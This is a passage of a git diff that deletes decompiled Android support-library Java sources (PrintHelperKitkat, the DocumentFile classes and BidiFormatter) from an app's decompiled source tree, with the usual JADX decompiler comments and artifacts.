(PrintHelperKitkat.this.mLock) { - if (PrintHelperKitkat.this.mDecodeOptions != null) { - PrintHelperKitkat.this.mDecodeOptions.requestCancelDecode(); - PrintHelperKitkat.this.mDecodeOptions = null; - } - } - } - - @Override // android.print.PrintDocumentAdapter - public void onFinish() { - super.onFinish(); - cancelLoad(); - AsyncTask asyncTask = this.mLoadBitmap; - if (asyncTask != null) { - asyncTask.cancel(true); - } - OnPrintFinishCallback onPrintFinishCallback = this.val$callback; - if (onPrintFinishCallback != null) { - onPrintFinishCallback.onFinish(); - } - Bitmap bitmap = this.mBitmap; - if (bitmap != null) { - bitmap.recycle(); - this.mBitmap = null; - } - } - - @Override // android.print.PrintDocumentAdapter - public void onWrite(PageRange[] pageRangeArr, ParcelFileDescriptor parcelFileDescriptor, CancellationSignal cancellationSignal, PrintDocumentAdapter.WriteResultCallback writeResultCallback) { - PrintHelperKitkat.this.writeBitmap(this.mAttributes, this.val$fittingMode, this.mBitmap, parcelFileDescriptor, cancellationSignal, writeResultCallback); - } - } - - /* JADX INFO: Access modifiers changed from: private */ - public Bitmap loadConstrainedBitmap(Uri uri, int i) throws FileNotFoundException { - BitmapFactory.Options options; - if (i <= 0 || uri == null || this.mContext == null) { - throw new IllegalArgumentException("bad argument to getScaledBitmap"); - } - BitmapFactory.Options options2 = new BitmapFactory.Options(); - options2.inJustDecodeBounds = true; - loadBitmap(uri, options2); - int i2 = options2.outWidth; - int i3 = options2.outHeight; - if (i2 > 0 && i3 > 0) { - int max = Math.max(i2, i3); - int i4 = 1; - while (max > i) { - max >>>= 1; - i4 <<= 1; - } - if (i4 > 0 && Math.min(i2, i3) / i4 > 0) { - synchronized (this.mLock) { - BitmapFactory.Options options3 = new BitmapFactory.Options(); - this.mDecodeOptions = options3; - options3.inMutable = true; - this.mDecodeOptions.inSampleSize = i4; - options = this.mDecodeOptions; - } - try { - Bitmap loadBitmap = loadBitmap(uri, options); - synchronized (this.mLock) { - this.mDecodeOptions = null; - } - return loadBitmap; - } catch (Throwable th) { - synchronized (this.mLock) { - this.mDecodeOptions = null; - throw th; - } - } - } - } - return null; - } - - private Bitmap loadBitmap(Uri uri, BitmapFactory.Options options) throws FileNotFoundException { - Context context; - if (uri == null || (context = this.mContext) == null) { - throw new IllegalArgumentException("bad argument to loadBitmap"); - } - InputStream inputStream = null; - try { - InputStream openInputStream = context.getContentResolver().openInputStream(uri); - try { - Bitmap decodeStream = BitmapFactory.decodeStream(openInputStream, null, options); - if (openInputStream != null) { - try { - openInputStream.close(); - } catch (IOException e) { - Log.w(LOG_TAG, "close fail ", e); - } - } - return decodeStream; - } catch (Throwable th) { - th = th; - inputStream = openInputStream; - if (inputStream != null) { - try { - inputStream.close(); - } catch (IOException e2) { - Log.w(LOG_TAG, "close fail ", e2); - } - } - throw th; - } - } catch (Throwable th2) { - th = th2; - } - } - - /* JADX INFO: Access modifiers changed from: private */ - public Bitmap convertBitmapForColorMode(Bitmap bitmap, int i) { - if (i != 1) { - return bitmap; - } - Bitmap createBitmap = Bitmap.createBitmap(bitmap.getWidth(), bitmap.getHeight(), Bitmap.Config.ARGB_8888); - Canvas canvas = new Canvas(createBitmap); - Paint paint = new Paint(); - ColorMatrix colorMatrix = new ColorMatrix(); - colorMatrix.setSaturation(0.0f); - paint.setColorFilter(new ColorMatrixColorFilter(colorMatrix)); - canvas.drawBitmap(bitmap, 0.0f, 0.0f, paint); - canvas.setBitmap(null); - return createBitmap; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/provider/DocumentFile.java b/apk_3230/decompiled_source/sources/android/support/v4/provider/DocumentFile.java deleted file mode 100644 index 70bbe4e..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/provider/DocumentFile.java +++ /dev/null @@ -1,75 +0,0 @@ -package android.support.v4.provider; - -import android.content.Context; -import android.net.Uri; -import java.io.File; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public abstract class DocumentFile { - static final String TAG = "DocumentFile"; - private final DocumentFile mParent; - - public abstract boolean canRead(); - - public abstract boolean canWrite(); - - public abstract DocumentFile createDirectory(String str); - - public abstract DocumentFile createFile(String str, String str2); - - public abstract boolean delete(); - - public abstract boolean exists(); - - public abstract String getName(); - - public abstract String getType(); - - public abstract Uri getUri(); - - public abstract boolean isDirectory(); - - public abstract boolean isFile(); - - public abstract long lastModified(); - - public abstract long length(); - - public abstract DocumentFile[] listFiles(); - - public abstract boolean renameTo(String str); - - /* JADX INFO: Access modifiers changed from: package-private */ - public DocumentFile(DocumentFile documentFile) { - this.mParent = documentFile; - } - - public static DocumentFile fromFile(File file) { - return new RawDocumentFile(null, file); - } - - public static DocumentFile fromSingleUri(Context context, Uri uri) { - return new SingleDocumentFile(null, context, uri); - } - - public static DocumentFile fromTreeUri(Context context, Uri uri) { - return new TreeDocumentFile(null, context, DocumentsContractApi21.prepareTreeUri(uri)); - } - - public static boolean isDocumentUri(Context context, Uri uri) { - return DocumentsContractApi19.isDocumentUri(context, uri); - } - - public DocumentFile getParentFile() { - return this.mParent; - } - - public DocumentFile findFile(String str) { - DocumentFile[] listFiles; - for (DocumentFile documentFile : listFiles()) { - if (str.equals(documentFile.getName())) { - return documentFile; - } - } - return null; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/provider/DocumentsContractApi19.java b/apk_3230/decompiled_source/sources/android/support/v4/provider/DocumentsContractApi19.java deleted file mode 100644 index 89b1fb3..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/provider/DocumentsContractApi19.java +++ /dev/null @@ -1,135 +0,0 @@ -package android.support.v4.provider; - -import android.content.ContentResolver; -import android.content.Context; -import android.database.Cursor; -import android.net.Uri; -import android.provider.DocumentsContract; -import android.text.TextUtils; -import android.util.Log; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class DocumentsContractApi19 { - private static final String TAG = "DocumentFile"; - - DocumentsContractApi19() { - } - - public static boolean isDocumentUri(Context context, Uri uri) { - return DocumentsContract.isDocumentUri(context, uri); - } - - public static String getName(Context context, Uri uri) { - return queryForString(context, uri, "_display_name", null); - } - - private static String getRawType(Context context, Uri uri) { - return queryForString(context, uri, "mime_type", null); - } - - public static String getType(Context context, Uri uri) { - String rawType = getRawType(context, uri); - if ("vnd.android.document/directory".equals(rawType)) { - return null; - } - return rawType; - } - - public static boolean isDirectory(Context context, Uri uri) { - return "vnd.android.document/directory".equals(getRawType(context, uri)); - } - - public static boolean isFile(Context context, Uri uri) { - String rawType = getRawType(context, uri); - return ("vnd.android.document/directory".equals(rawType) || TextUtils.isEmpty(rawType)) ? false : true; - } - - public static long lastModified(Context context, Uri uri) { - return queryForLong(context, uri, "last_modified", 0L); - } - - public static long length(Context context, Uri uri) { - return queryForLong(context, uri, "_size", 0L); - } - - public static boolean canRead(Context context, Uri uri) { - return context.checkCallingOrSelfUriPermission(uri, 1) == 0 && !TextUtils.isEmpty(getRawType(context, uri)); - } - - public static boolean canWrite(Context context, Uri uri) { - if (context.checkCallingOrSelfUriPermission(uri, 2) != 0) { - return false; - } - String rawType = getRawType(context, uri); - int queryForInt = queryForInt(context, uri, "flags", 0); - if (TextUtils.isEmpty(rawType)) { - return false; - } - if ((queryForInt & 4) != 0) { - return true; - } - if (!"vnd.android.document/directory".equals(rawType) || (queryForInt & 8) == 0) { - return (TextUtils.isEmpty(rawType) || (queryForInt & 2) == 0) ? false : true; - } - return true; - } - - public static boolean delete(Context context, Uri uri) { - return DocumentsContract.deleteDocument(context.getContentResolver(), uri); - } - - public static boolean exists(Context context, Uri uri) { - Cursor cursor = null; - try { - cursor = context.getContentResolver().query(uri, new String[]{"document_id"}, null, null, null); - return cursor.getCount() > 0; - } catch (Exception e) { - Log.w(TAG, "Failed query: " + e); - return false; - } finally { - closeQuietly(cursor); - } - } - - private static String queryForString(Context context, Uri uri, String str, String str2) { - ContentResolver contentResolver = context.getContentResolver(); - Cursor cursor = null; - try { - cursor = contentResolver.query(uri, new String[]{str}, null, null, null); - return (!cursor.moveToFirst() || cursor.isNull(0)) ? str2 : cursor.getString(0); - } catch (Exception e) { - Log.w(TAG, "Failed query: " + e); - return str2; - } finally { - closeQuietly(cursor); - } - } - - private static int queryForInt(Context context, Uri uri, String str, int i) { - return (int) queryForLong(context, uri, str, i); - } - - private static long queryForLong(Context context, Uri uri, String str, long j) { - ContentResolver contentResolver = context.getContentResolver(); - Cursor cursor = null; - try { - cursor = contentResolver.query(uri, new String[]{str}, null, null, null); - return (!cursor.moveToFirst() || cursor.isNull(0)) ? j : cursor.getLong(0); - } catch (Exception e) { - Log.w(TAG, "Failed query: " + e); - return j; - } finally { - closeQuietly(cursor); - } - } - - private static void closeQuietly(AutoCloseable autoCloseable) { - if (autoCloseable != null) { - try { - autoCloseable.close(); - } catch (RuntimeException e) { - throw e; - } catch (Exception unused) { - } - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/provider/DocumentsContractApi21.java b/apk_3230/decompiled_source/sources/android/support/v4/provider/DocumentsContractApi21.java deleted file mode 100644 index 00bd816..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/provider/DocumentsContractApi21.java +++ /dev/null @@ -1,63 +0,0 @@ -package android.support.v4.provider; - -import android.content.ContentResolver; -import android.content.Context; -import android.database.Cursor; -import android.net.Uri; -import android.provider.DocumentsContract; -import android.util.Log; -import java.util.ArrayList; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class DocumentsContractApi21 { - private static final String TAG = "DocumentFile"; - - DocumentsContractApi21() { - } - - public static Uri createFile(Context context, Uri uri, String str, String str2) { - return DocumentsContract.createDocument(context.getContentResolver(), uri, str, str2); - } - - public static Uri createDirectory(Context context, Uri uri, String str) { - return createFile(context, uri, "vnd.android.document/directory", str); - } - - public static Uri prepareTreeUri(Uri uri) { - return DocumentsContract.buildDocumentUriUsingTree(uri, DocumentsContract.getTreeDocumentId(uri)); - } - - public static Uri[] listFiles(Context context, Uri uri) { - ContentResolver contentResolver = context.getContentResolver(); - Uri buildChildDocumentsUriUsingTree = DocumentsContract.buildChildDocumentsUriUsingTree(uri, DocumentsContract.getDocumentId(uri)); - ArrayList arrayList = new ArrayList(); - Cursor cursor = null; - try { - try { - cursor = contentResolver.query(buildChildDocumentsUriUsingTree, new String[]{"document_id"}, null, null, null); - while (cursor.moveToNext()) { - arrayList.add(DocumentsContract.buildDocumentUriUsingTree(uri, cursor.getString(0))); - } - } catch (Exception e) { - Log.w(TAG, "Failed query: " + e); - } - return (Uri[]) arrayList.toArray(new Uri[arrayList.size()]); - } finally { - closeQuietly(cursor); - } - } - - public static Uri renameTo(Context context, Uri uri, String str) { - return DocumentsContract.renameDocument(context.getContentResolver(), uri, str); - } - - private static void closeQuietly(AutoCloseable autoCloseable) { - if (autoCloseable != null) { - try { - autoCloseable.close(); - } catch (RuntimeException e) { - throw e; - } catch (Exception unused) { - } - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/provider/RawDocumentFile.java b/apk_3230/decompiled_source/sources/android/support/v4/provider/RawDocumentFile.java deleted file mode 100644 index a4de489..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/provider/RawDocumentFile.java +++ /dev/null @@ -1,150 +0,0 @@ -package android.support.v4.provider; - -import android.net.Uri; -import android.util.Log; -import android.webkit.MimeTypeMap; -import java.io.File; -import java.io.IOException; -import java.util.ArrayList; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class RawDocumentFile extends DocumentFile { - private File mFile; - - /* JADX INFO: Access modifiers changed from: package-private */ - public RawDocumentFile(DocumentFile documentFile, File file) { - super(documentFile); - this.mFile = file; - } - - @Override // android.support.v4.provider.DocumentFile - public DocumentFile createFile(String str, String str2) { - String extensionFromMimeType = MimeTypeMap.getSingleton().getExtensionFromMimeType(str); - if (extensionFromMimeType != null) { - str2 = str2 + "." + extensionFromMimeType; - } - File file = new File(this.mFile, str2); - try { - file.createNewFile(); - return new RawDocumentFile(this, file); - } catch (IOException e) { - Log.w("DocumentFile", "Failed to createFile: " + e); - return null; - } - } - - @Override // android.support.v4.provider.DocumentFile - public DocumentFile createDirectory(String str) { - File file = new File(this.mFile, str); - if (file.isDirectory() || file.mkdir()) { - return new RawDocumentFile(this, file); - } - return null; - } - - @Override // android.support.v4.provider.DocumentFile - public Uri getUri() { - return Uri.fromFile(this.mFile); - } - - @Override // android.support.v4.provider.DocumentFile - public String getName() { - return this.mFile.getName(); - } - - @Override // android.support.v4.provider.DocumentFile - public String getType() { - if (this.mFile.isDirectory()) { - return null; - } - return getTypeForName(this.mFile.getName()); - } - - @Override // android.support.v4.provider.DocumentFile - public boolean isDirectory() { - return this.mFile.isDirectory(); - } - - @Override // android.support.v4.provider.DocumentFile - public boolean isFile() { - return this.mFile.isFile(); - } - - @Override // android.support.v4.provider.DocumentFile - public long lastModified() { - return this.mFile.lastModified(); - } - - @Override // android.support.v4.provider.DocumentFile - public long length() { - return this.mFile.length(); - } - - @Override // android.support.v4.provider.DocumentFile - public boolean canRead() { - return this.mFile.canRead(); - } - - @Override // android.support.v4.provider.DocumentFile - public boolean canWrite() { - return this.mFile.canWrite(); - } - - @Override // android.support.v4.provider.DocumentFile - public boolean delete() { - deleteContents(this.mFile); - return this.mFile.delete(); - } - - @Override // android.support.v4.provider.DocumentFile - public boolean exists() { - return this.mFile.exists(); - } - - @Override // android.support.v4.provider.DocumentFile - public DocumentFile[] listFiles() { - ArrayList arrayList = new ArrayList(); - File[] listFiles = this.mFile.listFiles(); - if (listFiles != null) { - for (File file : listFiles) { - arrayList.add(new RawDocumentFile(this, file)); - } - } - return (DocumentFile[]) arrayList.toArray(new DocumentFile[arrayList.size()]); - } - - @Override // android.support.v4.provider.DocumentFile - public boolean renameTo(String str) { - File file = new File(this.mFile.getParentFile(), str); - if (this.mFile.renameTo(file)) { - this.mFile = file; - return true; - } - return false; - } - - private static String getTypeForName(String str) { - int lastIndexOf = str.lastIndexOf(46); - if (lastIndexOf >= 0) { - String mimeTypeFromExtension = MimeTypeMap.getSingleton().getMimeTypeFromExtension(str.substring(lastIndexOf + 1).toLowerCase()); - return mimeTypeFromExtension != null ? mimeTypeFromExtension : "application/octet-stream"; - } - return "application/octet-stream"; - } - - private static boolean deleteContents(File file) { - File[] listFiles = file.listFiles(); - boolean z = true; - if (listFiles != null) { - for (File file2 : listFiles) { - if (file2.isDirectory()) { - z &= deleteContents(file2); - } - if (!file2.delete()) { - Log.w("DocumentFile", "Failed to delete " + file2); - z = false; - } - } - } - return z; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/provider/SingleDocumentFile.java b/apk_3230/decompiled_source/sources/android/support/v4/provider/SingleDocumentFile.java deleted file mode 100644 index 3ec91bc..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/provider/SingleDocumentFile.java +++ /dev/null @@ -1,91 +0,0 @@ -package android.support.v4.provider; - -import android.content.Context; -import android.net.Uri; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class SingleDocumentFile extends DocumentFile { - private Context mContext; - private Uri mUri; - - /* JADX INFO: Access modifiers changed from: package-private */ - public SingleDocumentFile(DocumentFile documentFile, Context context, Uri uri) { - super(documentFile); - this.mContext = context; - this.mUri = uri; - } - - @Override // android.support.v4.provider.DocumentFile - public DocumentFile createFile(String str, String str2) { - throw new UnsupportedOperationException(); - } - - @Override // android.support.v4.provider.DocumentFile - public DocumentFile createDirectory(String str) { - throw new UnsupportedOperationException(); - } - - @Override // android.support.v4.provider.DocumentFile - public Uri getUri() { - return this.mUri; - } - - @Override // android.support.v4.provider.DocumentFile - public String getName() { - return DocumentsContractApi19.getName(this.mContext, this.mUri); - } - - @Override // android.support.v4.provider.DocumentFile - public String getType() { - return DocumentsContractApi19.getType(this.mContext, this.mUri); - } - - @Override // android.support.v4.provider.DocumentFile - public boolean isDirectory() { - return DocumentsContractApi19.isDirectory(this.mContext, this.mUri); - } - - @Override // android.support.v4.provider.DocumentFile - public boolean isFile() { - return DocumentsContractApi19.isFile(this.mContext, this.mUri); - } - - @Override // android.support.v4.provider.DocumentFile - public long lastModified() { - return DocumentsContractApi19.lastModified(this.mContext, this.mUri); - } - - @Override // android.support.v4.provider.DocumentFile - public long length() { - return DocumentsContractApi19.length(this.mContext, this.mUri); - } - - @Override // android.support.v4.provider.DocumentFile - public boolean canRead() { - return DocumentsContractApi19.canRead(this.mContext, this.mUri); - } - - @Override // android.support.v4.provider.DocumentFile - public boolean canWrite() { - return DocumentsContractApi19.canWrite(this.mContext, this.mUri); - } - - @Override // android.support.v4.provider.DocumentFile - public boolean delete() { - return DocumentsContractApi19.delete(this.mContext, this.mUri); - } - - @Override // android.support.v4.provider.DocumentFile - public boolean exists() { - return DocumentsContractApi19.exists(this.mContext, this.mUri); - } - - @Override // android.support.v4.provider.DocumentFile - public DocumentFile[] listFiles() { - throw new UnsupportedOperationException(); - } - - @Override // android.support.v4.provider.DocumentFile - public boolean renameTo(String str) { - throw new UnsupportedOperationException(); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/provider/TreeDocumentFile.java b/apk_3230/decompiled_source/sources/android/support/v4/provider/TreeDocumentFile.java deleted file mode 100644 index 758252a..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/provider/TreeDocumentFile.java +++ /dev/null @@ -1,109 +0,0 @@ -package android.support.v4.provider; - -import android.content.Context; -import android.net.Uri; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class TreeDocumentFile extends DocumentFile { - private Context mContext; - private Uri mUri; - - /* JADX INFO: Access modifiers changed from: package-private */ - public TreeDocumentFile(DocumentFile documentFile, Context context, Uri uri) { - super(documentFile); - this.mContext = context; - this.mUri = uri; - } - - @Override // android.support.v4.provider.DocumentFile - public DocumentFile createFile(String str, String str2) { - Uri createFile = DocumentsContractApi21.createFile(this.mContext, this.mUri, str, str2); - if (createFile != null) { - return new TreeDocumentFile(this, this.mContext, createFile); - } - return null; - } - - @Override // android.support.v4.provider.DocumentFile - public DocumentFile createDirectory(String str) { - Uri createDirectory = DocumentsContractApi21.createDirectory(this.mContext, this.mUri, str); - if (createDirectory != null) { - return new TreeDocumentFile(this, this.mContext, createDirectory); - } - return null; - } - - @Override // android.support.v4.provider.DocumentFile - public Uri getUri() { - return this.mUri; - } - - @Override // android.support.v4.provider.DocumentFile - public String getName() { - return DocumentsContractApi19.getName(this.mContext, this.mUri); - } - - @Override // android.support.v4.provider.DocumentFile - public String getType() { - return DocumentsContractApi19.getType(this.mContext, this.mUri); - } - - @Override // android.support.v4.provider.DocumentFile - public boolean isDirectory() { - return DocumentsContractApi19.isDirectory(this.mContext, this.mUri); - } - - @Override // android.support.v4.provider.DocumentFile - public boolean isFile() { - return DocumentsContractApi19.isFile(this.mContext, this.mUri); - } - - @Override // android.support.v4.provider.DocumentFile - public long lastModified() { - return DocumentsContractApi19.lastModified(this.mContext, this.mUri); - } - - @Override // android.support.v4.provider.DocumentFile - public long length() { - return DocumentsContractApi19.length(this.mContext, this.mUri); - } - - @Override // android.support.v4.provider.DocumentFile - public boolean canRead() { - return DocumentsContractApi19.canRead(this.mContext, this.mUri); - } - - @Override // android.support.v4.provider.DocumentFile - public boolean canWrite() { - return DocumentsContractApi19.canWrite(this.mContext, this.mUri); - } - - @Override // android.support.v4.provider.DocumentFile - public boolean delete() { - return DocumentsContractApi19.delete(this.mContext, this.mUri); - } - - @Override // android.support.v4.provider.DocumentFile - public boolean exists() { - return DocumentsContractApi19.exists(this.mContext, this.mUri); - } - - @Override // android.support.v4.provider.DocumentFile - public DocumentFile[] listFiles() { - Uri[] listFiles = DocumentsContractApi21.listFiles(this.mContext, this.mUri); - DocumentFile[] documentFileArr = new DocumentFile[listFiles.length]; - for (int i = 0; i < listFiles.length; i++) { - documentFileArr[i] = new TreeDocumentFile(this, this.mContext, listFiles[i]); - } - return documentFileArr; - } - - @Override // android.support.v4.provider.DocumentFile - public boolean renameTo(String str) { - Uri renameTo = DocumentsContractApi21.renameTo(this.mContext, this.mUri, str); - if (renameTo != null) { - this.mUri = renameTo; - return true; - } - return false; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/text/BidiFormatter.java b/apk_3230/decompiled_source/sources/android/support/v4/text/BidiFormatter.java deleted file mode 100644 index a8503b0..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/text/BidiFormatter.java +++ /dev/null @@ -1,474 +0,0 @@ -package android.support.v4.text; - -import android.support.v4.view.MotionEventCompat; -import java.util.Locale; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class BidiFormatter { - private static final int DEFAULT_FLAGS = 2; - private static final int DIR_LTR = -1; - private static final int DIR_RTL = 1; - private static final int DIR_UNKNOWN = 0; - private static final String EMPTY_STRING = ""; - private static final int FLAG_STEREO_RESET = 2; - private static final char LRE = 8234; - private static final char PDF = 8236; - private static final char RLE = 8235; - private final TextDirectionHeuristicCompat mDefaultTextDirectionHeuristicCompat; - private final int mFlags; - private final boolean mIsRtlContext; - private static TextDirectionHeuristicCompat DEFAULT_TEXT_DIRECTION_HEURISTIC = TextDirectionHeuristicsCompat.FIRSTSTRONG_LTR; - private static final char LRM = 8206; - private static final String LRM_STRING = Character.toString(LRM); - private static final char RLM = 8207; - private static final String RLM_STRING = Character.toString(RLM); - private static final BidiFormatter DEFAULT_LTR_INSTANCE = new BidiFormatter(false, 2, DEFAULT_TEXT_DIRECTION_HEURISTIC); - private static final BidiFormatter DEFAULT_RTL_INSTANCE = new BidiFormatter(true, 2, DEFAULT_TEXT_DIRECTION_HEURISTIC); - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static final class Builder { - private int mFlags; - private boolean mIsRtlContext; - private TextDirectionHeuristicCompat mTextDirectionHeuristicCompat; - - public Builder() { - initialize(BidiFormatter.isRtlLocale(Locale.getDefault())); - } - - public Builder(boolean z) { - initialize(z); - } - - public Builder(Locale locale) { - initialize(BidiFormatter.isRtlLocale(locale)); - } - - private void initialize(boolean z) { - this.mIsRtlContext = z; - this.mTextDirectionHeuristicCompat = BidiFormatter.DEFAULT_TEXT_DIRECTION_HEURISTIC; - this.mFlags = 2; - } - - public Builder stereoReset(boolean z) { - if (z) { - this.mFlags |= 2; - } else { - this.mFlags &= -3; - } - return this; - } - - public Builder setTextDirectionHeuristic(TextDirectionHeuristicCompat textDirectionHeuristicCompat) { - this.mTextDirectionHeuristicCompat = textDirectionHeuristicCompat; - return this; - } - - private static BidiFormatter getDefaultInstanceFromContext(boolean z) { - return z ? BidiFormatter.DEFAULT_RTL_INSTANCE : BidiFormatter.DEFAULT_LTR_INSTANCE; - } - - public BidiFormatter build() { - if (this.mFlags == 2 && this.mTextDirectionHeuristicCompat == BidiFormatter.DEFAULT_TEXT_DIRECTION_HEURISTIC) { - return getDefaultInstanceFromContext(this.mIsRtlContext); - } - return new BidiFormatter(this.mIsRtlContext, this.mFlags, this.mTextDirectionHeuristicCompat); - } - } - - public static BidiFormatter getInstance() { - return new Builder().build(); - } - - public static BidiFormatter getInstance(boolean z) { - return new Builder(z).build(); - } - - public static BidiFormatter getInstance(Locale locale) { - return new Builder(locale).build(); - } - - private BidiFormatter(boolean z, int i, TextDirectionHeuristicCompat textDirectionHeuristicCompat) { - this.mIsRtlContext = z; - this.mFlags = i; - this.mDefaultTextDirectionHeuristicCompat = textDirectionHeuristicCompat; - } - - public boolean isRtlContext() { - return this.mIsRtlContext; - } - - public boolean getStereoReset() { - return (this.mFlags & 2) != 0; - } - - private String markAfter(String str, TextDirectionHeuristicCompat textDirectionHeuristicCompat) { - boolean isRtl = textDirectionHeuristicCompat.isRtl(str, 0, str.length()); - if (!this.mIsRtlContext && (isRtl || getExitDir(str) == 1)) { - return LRM_STRING; - } - if (this.mIsRtlContext) { - if (!isRtl || getExitDir(str) == -1) { - return RLM_STRING; - } - return ""; - } - return ""; - } - - private String markBefore(String str, TextDirectionHeuristicCompat textDirectionHeuristicCompat) { - boolean isRtl = textDirectionHeuristicCompat.isRtl(str, 0, str.length()); - if (!this.mIsRtlContext && (isRtl || getEntryDir(str) == 1)) { - return LRM_STRING; - } - if (this.mIsRtlContext) { - if (!isRtl || getEntryDir(str) == -1) { - return RLM_STRING; - } - return ""; - } - return ""; - } - - public boolean isRtl(String str) { - return this.mDefaultTextDirectionHeuristicCompat.isRtl(str, 0, str.length()); - } - - public String unicodeWrap(String str, TextDirectionHeuristicCompat textDirectionHeuristicCompat, boolean z) { - if (str == null) { - return null; - } - boolean isRtl = textDirectionHeuristicCompat.isRtl(str, 0, str.length()); - StringBuilder sb = new StringBuilder(); - if (getStereoReset() && z) { - sb.append(markBefore(str, isRtl ? TextDirectionHeuristicsCompat.RTL : TextDirectionHeuristicsCompat.LTR)); - } - if (isRtl != this.mIsRtlContext) { - sb.append(isRtl ? RLE : LRE); - sb.append(str); - sb.append(PDF); - } else { - sb.append(str); - } - if (z) { - sb.append(markAfter(str, isRtl ? TextDirectionHeuristicsCompat.RTL : TextDirectionHeuristicsCompat.LTR)); - } - return sb.toString(); - } - - public String unicodeWrap(String str, TextDirectionHeuristicCompat textDirectionHeuristicCompat) { - return unicodeWrap(str, textDirectionHeuristicCompat, true); - } - - public String unicodeWrap(String str, boolean z) { - return unicodeWrap(str, this.mDefaultTextDirectionHeuristicCompat, z); - } - - public String unicodeWrap(String str) { - return unicodeWrap(str, this.mDefaultTextDirectionHeuristicCompat, true); - } - - /* JADX INFO: Access modifiers changed from: private */ - public static boolean isRtlLocale(Locale locale) { - return TextUtilsCompat.getLayoutDirectionFromLocale(locale) == 1; - } - - private static int getExitDir(String str) { - return new DirectionalityEstimator(str, false).getExitDir(); - } - - private static int getEntryDir(String str) { - return new DirectionalityEstimator(str, false).getEntryDir(); - } - - /* JADX INFO: Access modifiers changed from: private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class DirectionalityEstimator { - private int charIndex; - private final boolean isHtml; - private char lastChar; - private final int length; - private final String text; - private static final int DIR_TYPE_CACHE_SIZE = 1792; - private static final byte[] DIR_TYPE_CACHE = new byte[DIR_TYPE_CACHE_SIZE]; - - static { - for (int i = 0; i < DIR_TYPE_CACHE_SIZE; i++) { - DIR_TYPE_CACHE[i] = Character.getDirectionality(i); - } - } - - DirectionalityEstimator(String str, boolean z) { - this.text = str; - this.isHtml = z; - this.length = str.length(); - } - - int getEntryDir() { - this.charIndex = 0; - int i = 0; - int i2 = 0; - int i3 = 0; - while (this.charIndex < this.length && i == 0) { - byte dirTypeForward = dirTypeForward(); - if (dirTypeForward != 0) { - if (dirTypeForward == 1 || dirTypeForward == 2) { - if (i3 == 0) { - return 1; - } - } else if (dirTypeForward != 9) { - switch (dirTypeForward) { - case MotionEventCompat.AXIS_RZ /* 14 */: - case 15: - i3++; - i2 = -1; - break; - case 16: - case 17: - i3++; - i2 = 1; - break; - case MotionEventCompat.AXIS_RTRIGGER /* 18 */: - i3--; - i2 = 0; - break; - } - } - } else if (i3 == 0) { - return -1; - } - i = i3; - } - if (i == 0) { - return 0; - } - if (i2 != 0) { - return i2; - } - while (this.charIndex > 0) { - switch (dirTypeBackward()) { - case MotionEventCompat.AXIS_RZ /* 14 */: - case 15: - if (i == i3) { - return -1; - } - break; - case 16: - case 17: - if (i == i3) { - return 1; - } - break; - case MotionEventCompat.AXIS_RTRIGGER /* 18 */: - i3++; - continue; - } - i3--; - } - return 0; - } - - int getExitDir() { - this.charIndex = this.length; - int i = 0; - while (true) { - int i2 = i; - while (this.charIndex > 0) { - byte dirTypeBackward = dirTypeBackward(); - if (dirTypeBackward != 0) { - if (dirTypeBackward == 1 || dirTypeBackward == 2) { - if (i == 0) { - return 1; - } - if (i2 == 0) { - break; - } - } else if (dirTypeBackward != 9) { - switch (dirTypeBackward) { - case MotionEventCompat.AXIS_RZ /* 14 */: - case 15: - if (i2 == i) { - return -1; - } - i--; - break; - case 16: - case 17: - if (i2 == i) { - return 1; - } - i--; - break; - case MotionEventCompat.AXIS_RTRIGGER /* 18 */: - i++; - break; - default: - if (i2 != 0) { - break; - } else { - break; - } - } - } else { - continue; - } - } else if (i == 0) { - return -1; - } else { - if (i2 == 0) { - break; - } - } - } - return 0; - } - } - - private static byte getCachedDirectionality(char c) { - return c < DIR_TYPE_CACHE_SIZE ? DIR_TYPE_CACHE[c] : Character.getDirectionality(c); - } - - byte dirTypeForward() { - char charAt = this.text.charAt(this.charIndex); - this.lastChar = charAt; - if (Character.isHighSurrogate(charAt)) { - int codePointAt = Character.codePointAt(this.text, this.charIndex); - this.charIndex += Character.charCount(codePointAt); - return Character.getDirectionality(codePointAt); - } - this.charIndex++; - byte cachedDirectionality = getCachedDirectionality(this.lastChar); - if (this.isHtml) { - char c = this.lastChar; - if (c == '<') { - return skipTagForward(); - } - return c == '&' ? skipEntityForward() : cachedDirectionality; - } - return cachedDirectionality; - } - - byte dirTypeBackward() { - char charAt = this.text.charAt(this.charIndex - 1); - this.lastChar = charAt; - if (Character.isLowSurrogate(charAt)) { - int codePointBefore = Character.codePointBefore(this.text, this.charIndex); - this.charIndex -= Character.charCount(codePointBefore); - return Character.getDirectionality(codePointBefore); - } - this.charIndex--; - byte cachedDirectionality = getCachedDirectionality(this.lastChar); - if (this.isHtml) { - char c = this.lastChar; - if (c == '>') { - return skipTagBackward(); - } - return c == ';' ? skipEntityBackward() : cachedDirectionality; - } - return cachedDirectionality; - } - - private byte skipTagForward() { - char charAt; - int i = this.charIndex; - while (true) { - int i2 = this.charIndex; - if (i2 < this.length) { - String str = this.text; - this.charIndex = i2 + 1; - char charAt2 = str.charAt(i2); - this.lastChar = charAt2; - if (charAt2 == '>') { - return (byte) 12; - } - if (charAt2 == '\"' || charAt2 == '\'') { - do { - int i3 = this.charIndex; - if (i3 < this.length) { - String str2 = 